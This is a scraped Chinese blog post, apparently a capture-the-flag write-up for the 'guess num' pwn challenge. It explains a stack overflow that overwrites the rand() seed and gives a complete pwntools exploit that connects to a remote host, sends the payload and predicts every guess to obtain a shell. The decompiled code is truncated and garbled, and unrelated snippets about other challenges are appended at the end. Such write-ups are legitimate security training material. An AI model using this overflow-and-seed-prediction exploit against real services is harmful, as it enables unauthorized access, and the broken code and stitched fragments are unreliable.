攻防世界PWN guess num

2021-10-25 10:28:03 字數 1948 閱讀 7793

64位以及各種防護全開

執行一下邏輯,的確是乙個猜數遊戲

進64位ida

反編譯main函式

出原始碼

摘**

__int64 __fastcall main(__int64 a1, char **a2, char **a3)

v5 =

"success!"

; puts(

"success!");

} sub_c3e(v5)

;#該函式可以cat flag

result = 0ll;

v7 =

*mk_fp(__fs__, 40ll)

^ v13;

return result;

}

這裡涉及到乙個東西,c語言的rand函式以及srand函式

rand()函式每次呼叫前都會查詢是否呼叫過srand(seed),是否給seed設定了乙個值,如果有那麼它會自動呼叫srand(seed)一次來初始化它的起始值。若之前沒有呼叫srand(seed),那麼系統會自動給seed賦初始值,即srand(1)自動呼叫它一次 。

srand()函式需要提供乙個種子,如srand(1),用1來初始化種子

rand()產生隨機數時,如果用srand(seed)播下種子之後,一旦種子相同(下面的getpid方法),產生的隨機數將是相同的。

簡而言之,c的隨機數在seed存在的情況下便無法真正的隨機,如果我們強制給seed賦值並使用該seed去初始rand(),那rand就成為可控變數了。

因此在這裡我們構造v10溢位的時候是將內容溢位給seed,從而讓seed唯一,繼而讓後續的隨機數相同來滿足if條件

雙擊v10變數

v10到seed之間的距離是0x20,將這0x20個空間打滿之後,溢位的內容就會給seed,而種子一旦確定,後面的迴圈也就有了規律,從而容易滿足

from pwn import

*from ctypes import

*r = remote(

'220.249.52.133'

,45485

)#這裡利用libc後期設定隨機數種子

libc = cdll.loadlibrary(

"/lib/x86_64-linux-gnu/libc.so.6"

)#前0x20個空間堵死,剩餘的內容給seed,把種子設定為1

payload =

"a"*

0x20

+p64(1)

r.sendlineafter(

"your name:"

,payload)

#初始化種子為1

libc.srand(1)

for i in

range(10

):#這裡的隨機數就已經是順序有規律一致的了

num =

str(libc.rand()%

6+1)

r.recvuntil(

'number:'

) r.sendline(num)

r.interactive(

)

執行:

參考

攻防世界 pwn guess num

a 程式分析 分析程式發現連續輸入密碼正確10次即可獲取flag 通過輸入使用者名稱可以覆蓋srand的種子,srand rand為偽隨機,種子一樣時隨機數相同 進行隨機數比較時 額外進行了加密 b 分析利用 1 分析加密演算法 2 通過使用者名稱覆蓋rbp 10h,使種子為我們指定的,在通過編寫程...

攻防世界mfw 攻防世界 Web mfw

題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...

攻防世界Web lottery

開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...